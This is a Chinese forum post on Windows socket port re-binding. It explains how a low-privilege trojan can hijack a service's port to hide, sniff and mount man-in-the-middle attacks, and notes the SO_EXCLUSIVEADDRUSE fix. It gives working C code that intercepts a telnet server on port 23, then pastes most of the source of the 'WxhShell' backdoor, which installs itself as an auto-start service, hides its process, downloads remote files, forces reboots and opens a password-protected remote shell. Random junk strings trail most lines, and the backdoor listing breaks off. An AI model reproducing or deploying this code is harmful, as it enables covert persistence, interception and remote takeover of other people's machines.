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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: HEk{!Y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); { .j030Q  
BM o2t'L  
  saddr.sin_family = AF_INET; :anR/  
$qR<_6j  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); k|^YYi= xF  
KY%LqcC  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); z41v5rB4  
3s0 I<cL  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 |})v, o B  
eJ0Xfw%y%T  
  这意味着什么?意味着可以进行如下的攻击: 9'=ZxV  
"$nff=]  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 c :2w(BVi  
&X6hOc:``\  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ydTd.`  
Fr_6pEH]}  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Y6`^E  
;LC?3.  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  YmwXA e:  
'-BD.^!!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 6 u1|pX8  
,B:r^(}0j  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 !A:d9 k  
gh-i| i,  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -Rwx`=6tV  
$q##Tys  
  #include L%<DLe^P`l  
  #include cAn_:^  
  #include < w;49 0g  
  #include    XE8%t=V!c$  
  DWORD WINAPI ClientThread(LPVOID lpParam);   P7epBWqDP  
  int main() mgTzwE_\  
  { F+]cFx,/  
  WORD wVersionRequested;  6lL^/$]  
  DWORD ret; 5 FE&  
  WSADATA wsaData; >uxAti\  
  BOOL val; 3i#'osq  
  SOCKADDR_IN saddr; 4>Y*owa4  
  SOCKADDR_IN scaddr; (W.G&VSn)  
  int err; r&_e3#]*  
  SOCKET s; 2AW*PDncxP  
  SOCKET sc; NFPWh3),f  
  int caddsize; ? U* `!-  
  HANDLE mt; !j& #R%D  
  DWORD tid;   "TVmxE%(  
  wVersionRequested = MAKEWORD( 2, 2 ); M}$Td_g  
  err = WSAStartup( wVersionRequested, &wsaData ); }1 j'  
  if ( err != 0 ) { *6G@8TIh  
  printf("error!WSAStartup failed!\n"); RWFvf   
  return -1; =imJ0V~RW  
  } L9]d$ r"  
  saddr.sin_family = AF_INET; y@r0"cvz9  
   (o^?i2)g  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !gcea?I  
@SI,V8i  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !R![:T\,  
  saddr.sin_port = htons(23); WtC&Qyuq  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]_`ICS  
  { YRCOh:W*  
  printf("error!socket failed!\n"); RN$>!b/  
  return -1; qC B{dp/  
  } lx7]rkWo|a  
  val = TRUE;  F##xVmR~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 fX2OH)6U  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) i7e_~K  
  { aMGyV"6(-6  
  printf("error!setsockopt failed!\n"); {B4.G8%Z  
  return -1; 7nsovWp  
  } &UNQ4-s  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >uDC!0)R  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 i1K$~  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 f`iDF+h<6  
!JBj%|!  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) u'^kpr`y  
  { MY^o0N  
  ret=GetLastError(); ;0`IFtz  
  printf("error!bind failed!\n"); >I',%v\?@  
  return -1; LQR^lD+_=  
  } HBZ6Pj  
  listen(s,2); dkeMiL m  
  while(1) Ko)f:=Qo  
  { 7EVB|gTp  
  caddsize = sizeof(scaddr); bn7g!2  
  //接受连接请求 6  $`l  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); .@ZrmO o]]  
  if(sc!=INVALID_SOCKET) 5vLA)Al3  
  { Mcq!QaO}&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 1vS-m x  
  if(mt==NULL) {vT9I4d8  
  { 'dqecmB  
  printf("Thread Creat Failed!\n"); W0}FOfL9  
  break; D G|v' #  
  } IyM:9=}5  
  } qC5IV}9`  
  CloseHandle(mt); yF1p^>*ak&  
  } lBa` nG  
  closesocket(s); xZY7X&C4  
  WSACleanup(); !,C8  
  return 0; xdVsbW)L2  
  }   xo2j fz  
  DWORD WINAPI ClientThread(LPVOID lpParam) i5|)|x3  
  { :i|]iXEI"  
  SOCKET ss = (SOCKET)lpParam;  y(#6nG@S  
  SOCKET sc; } 7ND] y48  
  unsigned char buf[4096]; c^&4m[?C[u  
  SOCKADDR_IN saddr; aMVq%{U  
  long num; ZUvc|5]  
  DWORD val; IfT: 9 &  
  DWORD ret; /x4L,UJ= P  
  //如果是隐藏端口应用的话,可以在此处加一些判断 p 16+(m  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   +DO<M1uE  
  saddr.sin_family = AF_INET; \#IKirf?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 3`)ej`  
  saddr.sin_port = htons(23); G&t|aY-   
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7#SfuZ0@  
  { x&"P^gh)  
  printf("error!socket failed!\n"); p/G9P +?  
  return -1; 5m;BL+>YE  
  } KUpj.[5 qo  
  val = 100; g9=_^^Tg  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \}X[0ct2!  
  { > 6=3y4tP  
  ret = GetLastError(); ^ 8YBW<9  
  return -1; |>1#)cONW  
  } Cs\jPh;"  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dpX Fx"4A  
  { ru~!;xT  
  ret = GetLastError(); :G] t=vr1  
  return -1; uy<<m"cA;  
  } @%YbptT}  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) {;6a_L@q;|  
  { -f1lu*3\  
  printf("error!socket connect failed!\n"); [)kuu  
  closesocket(sc); +n$ruoRJh  
  closesocket(ss); ( uG; Q  
  return -1; m&z(2yb1  
  } '=eVem=  
  while(1) 6{0MprY  
  { REh\WgV!u  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 URt+MTU[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 V F b  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )eqF21\  
  num = recv(ss,buf,4096,0); U3{4GmrT  
  if(num>0) _/u(:  
  send(sc,buf,num,0); ((<\VQ,>(  
  else if(num==0) *xITMi  
  break; /a9CqK  
  num = recv(sc,buf,4096,0); C7f*Q[  
  if(num>0) }%<_>b\  
  send(ss,buf,num,0); 9XhH*tBn7(  
  else if(num==0) M%RH4%NZ0  
  break; &pR 8sySu  
  } TA qX f_  
  closesocket(ss); l?YO!$  
  closesocket(sc); >YsM'.EFD  
  return 0 ; 7\ZSXQy1W  
  } 0Wc_m;  
2m} bddS  
e,Y<$kPV  
========================================================== IGi9YpI&K  
B|8|f(tsSa  
下边附上一个代码,,WXhSHELL ReL+V  
*B84Y.df  
========================================================== M*C1QQf\N  
MmePhHf  
#include "stdafx.h" a.RYRq4o  
&49WfctT  
#include <stdio.h> $DtUTh3)  
#include <string.h> z@V9%xF-3  
#include <windows.h> t* p%!xsH  
#include <winsock2.h> -yTIv* y  
#include <winsvc.h> ,oPxt  
#include <urlmon.h> ledr[)  
|`s:&<W+kp  
#pragma comment (lib, "Ws2_32.lib") N R 4\TU  
#pragma comment (lib, "urlmon.lib") Aon.Y Z  
CS5[E-%}T=  
#define MAX_USER   100 // 最大客户端连接数 -WR<tkK  
#define BUF_SOCK   200 // sock buffer 2;J\Z=7  
#define KEY_BUFF   255 // 输入 buffer 6V}xgfB  
EJQT\c  
#define REBOOT     0   // 重启 Azp!;+  
#define SHUTDOWN   1   // 关机 ULgp]IS  
[hk/Rp7{  
#define DEF_PORT   5000 // 监听端口 %Pj}  
~*UY[!+4^=  
#define REG_LEN     16   // 注册表键长度 7,8TMd1`M  
#define SVC_LEN     80   // NT服务名长度 8?x:PkK  
>"|t*k S  
// 从dll定义API tmM; Z(9t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Y>ATL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {,Rlq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [N}QCy  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <"xqt7f  
GCX?W`  
// wxhshell配置信息 JNJ6HyCU  
struct WSCFG { '5~l{3Lw  
  int ws_port;         // 监听端口 wO`G_!W9  
  char ws_passstr[REG_LEN]; // 口令 (d (>0YMv  
  int ws_autoins;       // 安装标记, 1=yes 0=no eT]*c?"  
  char ws_regname[REG_LEN]; // 注册表键名 ry@p  
  char ws_svcname[REG_LEN]; // 服务名 ^tI&5S]nE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <[K)PI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m|t\w|B2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 N:S2X+}(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $|T Lt{ K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6Z2|j~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R,=8)OI2  
q">}3`k  
}; zjSl;ru  
7zJ2n/`m*  
// default Wxhshell configuration IN;9p w  
struct WSCFG wscfg={DEF_PORT, `&xdSH  
    "xuhuanlingzhe", Uj3HAu  
    1, !c-MC|  
    "Wxhshell", j]]5&u/l  
    "Wxhshell", n2Mpo\2  
            "WxhShell Service", pG"h ZB3)  
    "Wrsky Windows CmdShell Service", AZA5>Y  
    "Please Input Your Password: ", @$ lX%p>  
  1, g jzWW0C  
  "http://www.wrsky.com/wxhshell.exe", J&}1=s  
  "Wxhshell.exe" ,8d&uR}x  
    }; dK,=9DQy5  
C>mFylN  
// 消息定义模块 E AKW^'D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C3~~h|:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "a33m:]J  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YI> xxWA  
char *msg_ws_ext="\n\rExit."; LU`)  
char *msg_ws_end="\n\rQuit."; LP'q$iB!  
char *msg_ws_boot="\n\rReboot..."; ^N 4Y*NtV7  
char *msg_ws_poff="\n\rShutdown..."; g)D@4RM  
char *msg_ws_down="\n\rSave to "; [z+YX s!N  
^tWSu?9  
char *msg_ws_err="\n\rErr!"; 6d2e WS  
char *msg_ws_ok="\n\rOK!"; ; C(5lD&\5  
i[{*(Y$L  
char ExeFile[MAX_PATH];  >;%QW  
int nUser = 0; lA;^c)  
HANDLE handles[MAX_USER]; lN{>.q@V`r  
int OsIsNt; VGu(HB8n#  
.;.Zbhm  
SERVICE_STATUS       serviceStatus; 5MZv!N   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; UvB\kIH  
]#rV]As  
// 函数声明 E}a.qM'  
int Install(void); RL/7>YQ  
int Uninstall(void); pv&iJ7RN  
int DownloadFile(char *sURL, SOCKET wsh); 1/qD5 *`Y  
int Boot(int flag); 8ph1xQ'  
void HideProc(void); pY&dw4V  
int GetOsVer(void); ?hR0 MnP  
int Wxhshell(SOCKET wsl); 8m `Y  
void TalkWithClient(void *cs); ,# .12Q!  
int CmdShell(SOCKET sock); JP {`^c  
int StartFromService(void); jUR* |  
int StartWxhshell(LPSTR lpCmdLine); $ndBT+ i  
]Y76~!N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z7)$m0',?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); gm8Jx hL  
(nuTfmt>  
// 数据结构和表定义 C=U4z|Ym  
SERVICE_TABLE_ENTRY DispatchTable[] = 9f5~hBlo  
{ 1&7?f  
{wscfg.ws_svcname, NTServiceMain}, O:RN4/17  
{NULL, NULL} (b&Z\?"  
}; W[]|Uu/%  
[fb9;,x`  
// 自我安装 O#C0~U]dDW  
int Install(void) .pm%qEh  
{ OT6Te&  
  char svExeFile[MAX_PATH]; 6"}F KRR  
  HKEY key; EM +! ph  
  strcpy(svExeFile,ExeFile); 0b8=94a{>  
/Dt:4{aTOC  
// 如果是win9x系统,修改注册表设为自启动 i.?rom  
if(!OsIsNt) { _4#7 ?p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9Av{>W?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b E40^e  
  RegCloseKey(key); In!^+j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b].U/=Hs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Zp6VH  
  RegCloseKey(key); eWD!/yr|  
  return 0; /l3Oi@\  
    } Gi$\th,  
  } KZ^>_K&  
} wc"~8Ah  
else { qf<o"B|_9  
'.S02=/  
// 如果是NT以上系统,安装为系统服务 {Dy,|}7s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Az#kE.8b*A  
if (schSCManager!=0) -;qK_x  
{ \ :q@I]2  
  SC_HANDLE schService = CreateService d/$e#8  
  ( RF4B ]Gqd  
  schSCManager, VsK8:[Al  
  wscfg.ws_svcname, $ kMe8F_  
  wscfg.ws_svcdisp, m] p]J_6A  
  SERVICE_ALL_ACCESS, ~HT:BO$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %(POC=b#[  
  SERVICE_AUTO_START, TM_bu  
  SERVICE_ERROR_NORMAL, '@\[U0?@K  
  svExeFile, US9@/V*2  
  NULL,  w+5OI9  
  NULL, iXXaB +w  
  NULL, ,+gtr.  
  NULL, K]7[|qf&   
  NULL r~fnK%|  
  ); )qFqf<:yc  
  if (schService!=0) *p0n^XZ% ?  
  { w( @QRd{  
  CloseServiceHandle(schService); Fy$ C._C$  
  CloseServiceHandle(schSCManager); T<y fpUzX  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~G6xk/+n-m  
  strcat(svExeFile,wscfg.ws_svcname); /6n"$qon6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @$$ J}~{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gf4Hq&Rf  
  RegCloseKey(key); qvhG ^b0h  
  return 0; Ep')@7^n  
    } $`t2SD  
  } /6\uBy"Xt  
  CloseServiceHandle(schSCManager); ?@Tsd@s~r  
} Yc3\  
} o@aXzF2  
PG|Zu3[  
return 1; $`0,N_C<}  
} M;KeY[u  
u3 &# UN  
// 自我卸载 =_Z.x&fi  
int Uninstall(void) t 0p  
{ QAY:H@Gt:  
  HKEY key; +G7[(Wz(z  
HyYJ"54  
if(!OsIsNt) { q_BMZEM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IM2<:N%'  
  RegDeleteValue(key,wscfg.ws_regname); 4@a/k[,  
  RegCloseKey(key); J^~J&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [E2".F3  
  RegDeleteValue(key,wscfg.ws_regname); UalwK  
  RegCloseKey(key); "EWq{l_I5$  
  return 0; ;9J6)zg !n  
  } 61HJ%  
} 5,|{|/  
} JZ-64OT  
else { G[OJ <px  
qk0cf~ gz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); c@4$)68  
if (schSCManager!=0) h_\W7xt  
{ Lc-Wf zT  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &rG]]IO  
  if (schService!=0) iP$>/[I  
  { +9<:z\B|  
  if(DeleteService(schService)!=0) { X"HVK+  
  CloseServiceHandle(schService); />>KCmc  
  CloseServiceHandle(schSCManager); RcO.1@2  
  return 0; [?2?7>D8  
  } u'Hh||La"  
  CloseServiceHandle(schService); X~\O]  
  } N1vA>(2A  
  CloseServiceHandle(schSCManager); =~)rT8+)  
} -G=.3 bux  
} Y2g%{keo  
QNXS.!\P  
return 1; W3%RB[s-  
} 0}9jl  
k@[[vj|W  
// 从指定url下载文件 p2+K-/}ApP  
int DownloadFile(char *sURL, SOCKET wsh) k%s,(2)30  
{ {!.w}  
  HRESULT hr; ;~`/rh V\  
char seps[]= "/"; aouYPxA`  
char *token; wg:\$_Og  
char *file; v9t'CMU  
char myURL[MAX_PATH]; sULsUt#  
char myFILE[MAX_PATH]; Q(BZg{  
6IJ;od.\b$  
strcpy(myURL,sURL);  8#1o  
  token=strtok(myURL,seps); /Vx EqIK  
  while(token!=NULL) AB<bW3qf(  
  { N\CHIsVm>  
    file=token; E^pn-rB  
  token=strtok(NULL,seps); Mdu\ci)lr  
  } ,. <c|5R  
BcQw-<veu  
GetCurrentDirectory(MAX_PATH,myFILE); X%7l! k[  
strcat(myFILE, "\\"); RYl\Q,#  
strcat(myFILE, file); d9T:0A`M  
  send(wsh,myFILE,strlen(myFILE),0); 6hXh;-U  
send(wsh,"...",3,0); 6_g6e2F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {e., $'#  
  if(hr==S_OK) `sd H q  
return 0; V*@&<x"E  
else ,1v FX$  
return 1; v Et+^3=  
r& :v(  
} yK_$d0ZGE~  
kmu7~&75  
// 系统电源模块 .n?i' 8  
int Boot(int flag) D@ @"w+  
{ J10&iCr{r*  
  HANDLE hToken; iqsR]mab  
  TOKEN_PRIVILEGES tkp; mQK3YoC)  
,E+\SBQS_  
  if(OsIsNt) { OE}c$!@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,wyEo>>4)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p DU+(A4>  
    tkp.PrivilegeCount = 1; 0 r;tI"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2 B_+5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }me`(zp  
if(flag==REBOOT) { `bd9N !K  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i+I1h=  
  return 0; Ov.oyke4  
} J*^ i=y  
else { pp >F)A0v  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v\}{eP'  
  return 0; B!)Tytm9u  
} :"Rx$;a  
  } dw| VH1fS  
  else { 98UI]? 4  
if(flag==REBOOT) { +NOq>kH@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4:kDBV;v  
  return 0; G12o?N0p  
} 4'N 4,3d$  
else { _+%p!!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) EKmn@S-&P  
  return 0; ;iUO1t)^  
} 1IK*j +%  
} .j"@7#tW  
u|Ng>lU  
return 1; ~cfvL*~5  
} \GGyz{i  
W!* P  
// win9x进程隐藏模块 ;9vY5CxzC  
void HideProc(void) i3$pqNe  
{ @CC 6 `D  
Y{X%C\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _) UnHp_^  
  if ( hKernel != NULL ) un)PW&~E  
  { [Z!oVSCZD%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +9# qNkP  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R~RE21kAc  
    FreeLibrary(hKernel); >h(GmR*xM  
  } Z07n>|WF-  
w@a|_?  
return; k<rJm P{  
} 6O*lZNN  
>.hDt9@4  
// 获取操作系统版本 J{n A ?[  
int GetOsVer(void) )6px5Vwz  
{ hE4qs~YB!  
  OSVERSIONINFO winfo; ^Qxv5HS2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )X8N|W>vh  
  GetVersionEx(&winfo); |jcIn[)=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) V&lx0Dy  
  return 1; QEF$Jx  
  else (!9+QXb'  
  return 0; `9|Uu#x  
} H9WXp&  
e&NJj:Ph*  
// 客户端句柄模块 GX*9R>  
int Wxhshell(SOCKET wsl) r<Q0zKW!jN  
{ pK0@H"$8  
  SOCKET wsh; LFvZ 7M\\  
  struct sockaddr_in client; 9)4_@rf%  
  DWORD myID;  jQ-2SA O  
$JiypX^DOP  
  while(nUser<MAX_USER) Yt=2HJY  
{ VaO[SW^  
  int nSize=sizeof(client); !;Pp)SRzKG  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); JX#0<U|L  
  if(wsh==INVALID_SOCKET) return 1; s$^2Qp  
cPg{k}9Tvy  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); y QGd<(  
if(handles[nUser]==0) 5>~D3?IAd  
  closesocket(wsh); ? Q"1zcX  
else ?0lz!Nq'S  
  nUser++; Qr?1\H:Lq  
  } bP4}a!t+n  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1 r3} V7  
(N`GvB7;  
  return 0; {~XnmBs  
} ;f} ']2  
;ssI8\LG  
// 关闭 socket v <OZ # L$  
void CloseIt(SOCKET wsh) vD(:?M  
{ 9VSi2p*  
closesocket(wsh); "ZFH_5<  
nUser--; b|\dHi2F T  
ExitThread(0); -oB=7+g  
} S,vdd7Y  
2)-4?uz~  
// 客户端请求句柄 (ki= s+W-  
void TalkWithClient(void *cs) bc>&Qj2Z7c  
{ xT!<x({  
QH?sx k2  
  SOCKET wsh=(SOCKET)cs; Bi>]s%zp  
  char pwd[SVC_LEN]; K \.tR  
  char cmd[KEY_BUFF]; A,3qjd,$ c  
char chr[1]; i>dFpJ  
int i,j; jWdZ ]0m  
g2A#BMe'.$  
  while (nUser < MAX_USER) { >B;KpO"+m  
S27s Rxfr  
if(wscfg.ws_passstr) { QXgfjo  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u^W!$OfZpp  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Fqh./@o  
  //ZeroMemory(pwd,KEY_BUFF); (B! DBnq  
      i=0; <-,y0Y'  
  while(i<SVC_LEN) { '~1Zr uO  
nC)"% Sa  
  // 设置超时 zV(aw~CbZ  
  fd_set FdRead; F_4Et  
  struct timeval TimeOut; E0+~c1P-  
  FD_ZERO(&FdRead); U\M9sTqo  
  FD_SET(wsh,&FdRead); ES8(:5  
  TimeOut.tv_sec=8; \r [@A3O  
  TimeOut.tv_usec=0; 7OS i2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 08! _B\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4&v&XLkb  
f>3)}9?xc}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @#;*e] 1a  
  pwd=chr[0]; \C4wWh-A  
  if(chr[0]==0xd || chr[0]==0xa) { <2~DI0pp(  
  pwd=0; [8%q@6[  
  break; 9~jS_Y)"  
  } "bQi+@  
  i++; ukRmjHbLf  
    } WZh_z^rwn  
y,w_x,m  
  // 如果是非法用户,关闭 socket 2<:dA >1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !YZKa-  
} OXn-!J90P  
O,S>6o)?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -)R =p"-w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Oqq' r"S  
ze21Uj1x*  
while(1) { hMUUnr"8;i  
$\bVu2&I  
  ZeroMemory(cmd,KEY_BUFF); VN'\c3;  
S(CVkCP  
      // 自动支持客户端 telnet标准   'f CSP|  
  j=0; LXPO@2QF  
  while(j<KEY_BUFF) { 2A9crL $  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C%CgWO`Xj  
  cmd[j]=chr[0]; q?@*  
  if(chr[0]==0xa || chr[0]==0xd) { %~,Fe7#p  
  cmd[j]=0; R.vOYzo  
  break; y O,Jgn  
  } ZSyXzop  
  j++; iyXd"O  
    } yrl7  
e,lLHg  
  // 下载文件 *'\HG  
  if(strstr(cmd,"http://")) { 4^ U%` 1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =6'bGC%c  
  if(DownloadFile(cmd,wsh)) pS}IU{#;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); R0LWuE%eD  
  else sg49a9`8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); leI ]zDk=  
  } .GL@`7"  
  else { }[h]z7e2S  
Z:es7<#y  
    switch(cmd[0]) { XXA]ukj;r  
  bf {_U%`  
  // 帮助 9)o@d`*  
  case '?': { FK`:eP{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zmL VFGnS  
    break; YMU""/(  
  } v~jm<{={g  
  // 安装 iHK.hs;  
  case 'i': { P#`M8k  
    if(Install()) 3IB9-wG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {2q0Ko<  
    else R.F l5B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); } #L_R  
    break; r/"^{0;F{W  
    } pU'>!<zGr  
  // 卸载 kqxq'Aq)d  
  case 'r': { @^  *62  
    if(Uninstall()) X%kJ3{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #g0N/  
    else uXLZ!LJo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); noEl+5uY  
    break; $#2<f 6  
    } FQ`1c[M@  
  // 显示 wxhshell 所在路径 P1B=fgT  
  case 'p': { >VQLC&u(  
    char svExeFile[MAX_PATH]; svb7-.!  
    strcpy(svExeFile,"\n\r"); u86PTp+  
      strcat(svExeFile,ExeFile); NGkxg:  
        send(wsh,svExeFile,strlen(svExeFile),0); TW70z]B  
    break; [{Q$$aV1  
    } +"bi]^\z  
  // 重启 Cc,V ]  
  case 'b': { kE8s])Z,+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s S#/JLDx]  
    if(Boot(REBOOT)) [@8po-()L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m<kJH<!j  
    else { D6+3f #k6  
    closesocket(wsh); m%>}T 75C^  
    ExitThread(0); ^cSfkBh  
    } }#%Y eCA?  
    break; -!O8V  
    } $`ptSR  
  // 关机 "#-iD  
  case 'd': { (Z[c7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ZH8w^}  
